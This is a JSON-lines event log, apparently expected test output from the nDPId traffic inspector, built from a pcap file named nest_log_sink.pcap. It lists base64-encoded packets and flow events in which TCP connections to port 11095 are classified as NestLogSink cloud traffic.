+01128{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716407,"pkt_ts_usec":823894,"pkt_caplen":585,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":585,"pkt_l4_len":551,"pkt":"AJD7JidrGLQwJjRACABFAAI7MCIAAP8GYEfAqPIPI65S7fdyK1cI7G50n+oaPFAYEgDwdwAAEQIAExADAAA2nicAADC0GAMAAAACMLQYEQqYBgQAAACBAAA5+ABtAAEAWiMlAFojzy4E7q5tuDPa8dqp3Tuoonw6y+EKFrq9iWLx7LT+wD9DJViy4PlSyQ0AFOPyw4FcNd3Y3goVAXIadNGVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARxoTx\/J58YBVL8Z9uxN9RPfRr+Io40A8NhdTkJFMAIdAPDtk8tzNKB5VXXVQ39d1I8oQCKlkaNov5AmdiMY"} +00414{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716407,"pkt_ts_usec":888603,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoMm9AAC0G8g0jrlLtwKjyDytX93Kf6ho8COxwh1AQbODDPAAA"} +01328{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716407,"pkt_ts_usec":903994,"pkt_caplen":731,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":731,"pkt_l4_len":697,"pkt":"GLQwJjRAAJD7JidrCABFAALNMnBAAC0G72cjrlLtwKjyDytX93Kf6ho8COxwh1AYbOASbQAAowIAExADAAADAAAAAjC0GDaeJwAAMLQYEAuYBgQAAACAOesBAAAEwI77Gs4t7AJyX0AaOxRCiXl+5ccRafKOTShylxtkuktla3QX2f050OgPx3Dp2Wr29hk8pPxdG3bVAAAEAAcANQEwAQgRAGNdWXuZjyQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSAwAAAAIwtBgYJAcCJgglAFojMAo5BAmqnD2bjDiK3yLVcr2LQ\/iPmlWn\/iDHinq\/pRMoxaNQgTnwimtBL+qTiTQqENL2xrPIWxZjJGeRNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIISKnh4YvR26oYNYAwAghAMCqAESxXYxg1DDABHG7LEaIGSLUc\/M2D6faSCjZ4yyUajbt6l0larAowAhxg27mtYz94ldNAgb53O7UEnNbhJ3tZG9saSNIDGBg3A9UAAAQAAQAwAQh0U8TzJXXApCQCBDcDJxMBAAAA7jC0GBgmBIRKFhomBYQI+0k3BicTAwAAAO4wtBgYJAcCJgglAFojMAo5BGE4qnve9lbNUGTNwi8LtUdKfuSMTjD7DNvhKAxIglvrJHimTYHTbv0nAD\/mK7\/RNCUG+rTQMUDDNYMpASkCGDWCKQEkAmAYNYEwAghAMCqAESxXYxg1gDACCEM09xLfX5HPGDUMMAEcEurFeVqNP0pdZ4E34\/y4bmkdTprW+aj+LfeYwjACHQCMH3zVX2A9NrWeI9e9nsIN0x+kcP1z7qyH11oYGBgYGNUAAAQACAAwARwWcS9Yv6Hv443lPnlfVVzRjWEZ2bkD2vo+PkvpMAIdAJwkZf72kBRQoO+o9JB3Ec608mV4lMXj65mTdKwYJoptKOP73tAdI4SBj9d3d4DbZ6c="} +00421{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716408,"pkt_ts_usec":69864,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMCMAAP8GYlnAqPIPI65S7fdyK1cI7HCHn+oc4VAQD1seHQAAAAAAAAAA"} +00488{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":280467,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcMCQAAP8GYiTAqPIPI65S7fdyK1cI7HCHn+oc4VAYD1th7gAAMgAAExEDAAA2nicAADC0GAMAAAACMLQYEQyYBgQAAAAVbG26Bq9GdhOyEiBxNPZ1OT1plA=="} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":495,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":8,"flow_first_seen":1536716407119,"flow_last_seen":1536716409280,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":20,"flow_max_l4_data_len":697,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63346,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink","breed":"Acceptable","category":"Cloud"}} +00414{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":385595,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoMnFAAC0G8gsjrlLtwKjyDytX93Kf6hzhCOxwu1AQbODAYwAA"} +00967{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":389222,"pkt_caplen":458,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":458,"pkt_l4_len":424,"pkt":"AJD7JidrGLQwJjRACABFAAG8MCUAAP8GYMPAqPIPI65S7fdyK1cI7HC7n+oc4VAYD1to7AAAkgEQEwAAAAA2nicAADC0GAMAAAACMLQYzy4GzIJNeU2NOmLbKsico\/gTdowUaADFhimxHolLtG\/hS1TVhyqM6UD5w4rVsO92jRtCoQVWAL3BN1XAqoSX7qxIjsLiDez+47F7E8tVj+Idl4NGs2qi0\/Tq96jgh3f6ESKXex6FFMQl5eAyw47M\/kIa\/KtLoDwmvdKnT3WavS8W9vf0FOzrSa6Jcdpv0tgbkVjqigXyPs1u2nGbADbNU4bk5+RHRjQK9x8NxuD366Xj2LevFvQocE7UWyb7GrNer2cftubu62yoJZWnFYsryY+ZcmNgkUWVISSS9j+Prf0SxU5hUMTdac3kKvt8yioN8RBE76j4oMnkuXzFsufeRNX8m+g5QU6Nru5dKmjK4RSUgKGiLDNmTG4odfRi2Z7z1iY6c\/k5DGxw8dSIRmnFAxqNR5Dp2q2J\/HbFbsuohKJPSSSOmG+GpsfswgFISeA4\/mo4W8mu\/ZkVEVZ0eHcQNZXxfZcl2PFUVmlUjm0M35BxuDxkTbevk2JK9iM="} +00415{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":461802,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoMnJAAC0G8gojrlLtwKjyDytX93Kf6hzhCOxyT1AQcRC6nwAA"} +00498{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":478624,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"GLQwJjRAAJD7JidrCABFAABkMnNAAC0G8c0jrlLtwKjyDytX93Kf6hzhCOxyT1AYcRAmrgAAOgAQEwAAAAADAAAAAjC0GDaeJwAAMLQYzy5TK1FsExeSr9et+8YrN9tCP+igpBMINjSIrI6HjTDHu\/UE"} +00584{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":486645,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"AJD7JidrGLQwJjRACABFAACiMCYAAP8GYdzAqPIPI65S7fdyK1cI7HJPn+odHVAYDx+\/0QAAeAAQEwEAAAA2nicAADC0GAMAAAACMLQYzy6ryDEujkZ2T+O19ZqyWNx5+FQrxlzTPBdpP9gztpQhKCX5iltTclThZpeFGoN8\/JlPFRlM2BsZDWYQZX1pDRaFiJ6oKEh+8AZIhz0AD9Bd2Fw+dpNEUXaUEa9Y3aWUtTg="} +01272{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":549606,"pkt_caplen":683,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":683,"pkt_l4_len":649,"pkt":"GLQwJjRAAJD7JidrCABFAAKdMnRAAC0G75MjrlLtwKjyDytX93Kf6h0dCOxyyVAYcRDTcQAAcwIQEwEAAAADAAAAAjC0GDaeJwAAMLQYzy4dy2T3uPHoJ5nDkHN5aOILK\/s0WecYf6P8S5FsG4cRnGvPUqp0bkK7R+RTjACAMHxtDciQOXBsmeSoSCTV1D0wlWNVeBu0ghnZ0IongGwrBGbaef67k11IXiS\/KcMV5aATZIzGi\/uHV6tkHJqfo4Ltfvil\/UngR8KDKi3yz6ZTCF6fqdsJ2yb9VQ1EbUuMA0OjIak+3myS06OAON6R567\/fINVJIzGc7LwDdXbK6bZT+rSnLO\/70HvJ\/4GRYr\/V3yDybJNfmHQ9Mt5EZvO6hmjKg8fghDdikOMV0amqoAijgMNo2RMJdfJP3zTqazQtCMPVftqnGXdQIabgeMEZvbu7gnYSZC3LPXgse0x40+KIcTTlF0Tnk2nG4NWd0SID6H0HYpk7uM+VWZeDhpHohnMGNgYb0+DrV5fzQqtWqWYSlYMKWV2L3Yu5pEU38j8NsYrO2YJ6MApWm\/sZlC6dtsvFHPSPyAp0S83G7IzHir+G5x5\/Zfl0XdNcMrcBLzbhJpN\/bKKcARCJfC+VbX4Z3TrfGOao\/WBoWsaz8M35OhLYwzwjqLDt\/4u1aUzx4gpHpg7eVddmcWFUXaEBTqhfEUccjF48C+kEUT7GxDBXc3ov0aYEbjYLVQDbtO8Ixbn\/kpiezH5l0cGPQGURjvXIBDXz6s76Iy9iJocif9O+L9eRwc9hudufPA9XFt3OoLUbcAL+CoZyrLlxeOULNuLLJLeV2GnHyLdgGmegolNO4bWuNjECt65xxXDr6dWG8OgkT7iWwVgo1rkZA6j7XJWbrmVJzeQwzFngRtmdVI="} +00423{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":559472,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMCcAAP8GYlXAqPIPI65S7fdyK1cI7HLJn+ofklAQEgAWhQAAAAAAAAAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":510,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1536716409847,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63347,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":847406,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsMCwAAP8GGnHAqPIPI7yauvdzK1cI9889AAAAAGACEgAbLAAAAgQEgAAA"} +00423{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":908176,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAADcG0p0jvJq6wKjyDytX93M4S\/jECPfPPmASbvCMDgAAAgQFjA=="} +00422{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716409,"pkt_ts_usec":910872,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMC0AAP8GGnTAqPIPI7yauvdzK1cI988+OEv4xVAQEgAAlAAAAAAAAAAA"} +01133{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716410,"pkt_ts_usec":554354,"pkt_caplen":586,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":586,"pkt_l4_len":552,"pkt":"AJD7JidrGLQwJjRACABFAAI8MC4AAP8GGF\/AqPIPI7yauvdzK1cI988+OEv4xVAYEgCVPwAAEgIAExIDAAA2nicAADC0GAQAAAACMLQYEQqeBgQAAACBAAA5+ABtAAEAWiMlAFojpi4EuwrkCvt1+5I0gjElHHqDDsnOwj2usnTL7mNoYW8OLnC7cYEnyKhNJmZP5bn3jfIysFqJ16Wg+piVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwAR0AsF45ibgL3VBTXAS+d4MwGA07F\/dfs5s4y4C5kTACHQDCLGVhsTkpUJheKvlUGYZhGUZCTdvHSvCb4xChGA=="} +00415{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716410,"pkt_ts_usec":605921,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoKC9AADcGqnIjvJq6wKjyDytX93M4S\/jFCPfRUlAQcRCfbwAA"} +01336{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716410,"pkt_ts_usec":611476,"pkt_caplen":733,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":733,"pkt_l4_len":699,"pkt":"GLQwJjRAAJD7JidrCABFAALPKDBAADcGp8ojvJq6wKjyDytX93M4S\/jFCPfRUlAYcRClSwAApQIAE9Xg11sEAAAAAjC0GDaeJwAAMLQYEAueBgQAAACAOewBAAAECbrdUdu12b+SYDLX\/zL0xISgI8pSC\/5jIJHhE9mQVqqkqSQsxI2X5XMa1xKFWXdnjToNgMdQK0HVAAAEAAcANQEwAQgMb9c+DCmBkiQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSBAAAAAIwtBgYJAcCJgglAFojMAo5BOmClNa2L\/0sqyhn7IYa235P1xw1ad7owBLnP8rLfG3TPA0dBMXfrzKvqAFyJ47sRlQQr3qOkdAiNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIIT2JdLEIid9IYNYAwAghAMCqAESxXYxg1DDABHQD2qSsI\/n0hou9Llf5n3GEbVWuc4D0QHq+l2F+wMAIcbFFqzYrI2WIn6D35aDg1LAuu7NZYbZZk\/HdXyxgYNwPVAAAEAAEAMAEIdFPE8yV1wKQkAgQ3AycTAQAAAO4wtBgYJgSEShYaJgWECPtJNwYnEwMAAADuMLQYGCQHAiYIJQBaIzAKOQRhOKp73vZWzVBkzcIvC7VHSn7kjE4w+wzb4SgMSIJb6yR4pk2B0279JwA\/5iu\/0TQlBvq00DFAwzWDKQEpAhg1gikBJAJgGDWBMAIIQDAqgBEsV2MYNYAwAghDNPcS31+Rzxg1DDABHBLqxXlajT9KXWeBN+P8uG5pHU6a1vmo\/i33mMIwAh0AjB981V9gPTa1niPXvZ7CDdMfpHD9c+6sh9daGBgYGBjVAAAEAAgAMAEdAN\/WBKON3OvH+sAiPOFCQg845zqoCG2hPyVrt84wAh0A3huP\/H5FOIRRHhmmqtwRXJ8ZVIrkOyBLODeEBxgXWFXujjI0Q256X84LXelzGgS3WA=="} +00422{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716410,"pkt_ts_usec":815005,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMC8AAP8GGnLAqPIPI7yauvdzK1cI99FSOEv7bFAQD1n+fwAAAAAAAAAA"} +00489{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716411,"pkt_ts_usec":997733,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcMDAAAP8GGj3AqPIPI7yauvdzK1cI99FSOEv7bFAYD1n58wAAMgAAExMDAAA2nicAADC0GAQAAAACMLQYEQyeBgQAAAAzcom9gnJSb94h3\/jQ09uvI9YfcQ=="} +00542{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":517,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":8,"flow_first_seen":1536716409847,"flow_last_seen":1536716411997,"flow_tot_l4_data_len":1431,"flow_min_l4_data_len":20,"flow_max_l4_data_len":699,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63347,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink.Google","breed":"Unrated","category":"Cloud"}} +00415{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716412,"pkt_ts_usec":101039,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoKDFAADcGqnAjvJq6wKjyDytX93M4S\/tsCPfRhlAQcRCclAAA"} +00514{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716412,"pkt_ts_usec":103934,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"AJD7JidrGLQwJjRACABFAABuMDEAAP8GGirAqPIPI7yauvdzK1cI99GGOEv7bFAYD1kmgwAARAAQEwAAAAA2nicAADC0GAQAAAACMLQYpi5bMHfrehw79wCLmAJOuqlVC1AEqC\/wWzgJfnIRBAQHVOUpAiGfWUn6f6OE8Q=="} +00416{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716412,"pkt_ts_usec":157162,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoKDJAADcGqm8jvJq6wKjyDytX93M4S\/tsCPfRzFAQcRCcTgAA"} +00495{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716412,"pkt_ts_usec":157222,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"GLQwJjRAAJD7JidrCABFAABhKDNAADcGqjUjvJq6wKjyDytX93M4S\/tsCPfRzFAYcRDP2wAANwAQEwAAAAAEAAAAAjC0GDaeJwAAMLQYpi5aE9YY2Z6f\/j7UStKEjwPT9+9GOzI8A2ru9UbxNTR4"} +01031{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716412,"pkt_ts_usec":176620,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvMDIAAP8GGKjAqPIPI7yauvdzK1cI99HMOEv7pVAYDyASjgAAxQEQEwEAAAA2nicAADC0GAQAAAACMLQYpi4l+cv7HVinscC11HzkcO6SJL1Kunc+2jM8HSk4MhhqiyxkJNo7q3BqeIjVGFi+UX4vs2bcvCEfiTCmqAxNm0XjXXG0MwSal0A6zfADY\/kMD4JEO10WgOFCCN9Mzu1gwtxKif5L4i4+KfGVrkA8MDLFdZUxXp7BLLM3h2UA0+LTJ1kUyF4nUBcCi1clI6byns0k9fC8nLL85qXwNwgNmhqz8+hnvejx0IHRkUSuTflnetxnDVVWgCzgJJoSL2Ncbl5fLW40Aslz4bMyFKf2+hC0WXa6FmeAUlu7SNhekGZxZM3XVMKT+teNF0Y9z+FN2kTRSCRjENDLy2MbH4ypyq4DFdWxktK9BlKCy6CfudRFYefIG\/EpdvPIU35yK6cCFQV3vm1xqauZH23QWuoEhhIpP3kCY5V8V4CXuDt51zDNR96xykYbqsdQGUWoMf+hL4bWUU+Jq93DhYt0QMYSTyhv0eiqIWOrEEFa1\/tbVQtE2s1TI0Pqk4g9fi5pvxwDJo\/TpXBgp0TRnRGozTOxenoPKTN\/e5GWRDeC5pqx4E6tHSqsrfaos2LmvDaINeM="} +00495{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716412,"pkt_ts_usec":227528,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"GLQwJjRAAJD7JidrCABFAABfKDRAADcGqjYjvJq6wKjyDytX93M4S\/ulCPfTk1AYdUDbwAAANQAQEwEAAAAEAAAAAjC0GDaeJwAAMLQYpi6RqU1g2fyvZNgqhxRxPNlqKdyGXnoZw6cV\/h9gzA=="} +00832{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536716412,"pkt_ts_usec":242229,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"AJD7JidrGLQwJjRACABFAAFYMDMAAP8GGT7AqPIPI7yauvdzK1cI99OTOEv73FAYDulnJwAALgEQEwIAAAA2nicAADC0GAQAAAACMLQYpi4UtiA0Cx13rIj8\/aDtBknj5TpUe+czqdoVD8n6UA7QL+mB0XoM6ch85gGQb4MEAemR4qgbb63DxAQ8hUZN2BayyDPAqHBcr2nupAGGcc6I1zASH0zHmLIg3VBG6EMWnd54NMvCalt+NfLRa5dbK1h\/3AKhkef87gCx5m\/BtBMiu9OQp+Eb8Fyzbv2KhAKsDSHuOGUXHc9Wz\/SqOzD066CW0Ntsua0pkoZYV6ixdfxlvPDDSSLi0xL\/AZOZnQ2pkHxi5gBkPdea\/EUeI9iEafXIfk1SUsg0bskCpy0X15AyUYt2zASNm0LG+EF7JYTugxVX8xZe1AmlbycXRKBuMfyvlHZ1juCzw5L9YRsejkrvAvQ7MG9VyA=="} +00501{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":533,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":116,"flow_first_seen":1536714607530,"flow_last_seen":1536716407068,"flow_tot_l4_data_len":6397,"flow_min_l4_data_len":20,"flow_max_l4_data_len":697,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63343,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":533,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":71,"flow_first_seen":1536716402828,"flow_last_seen":1536716406969,"flow_tot_l4_data_len":16281,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":229,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63345,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 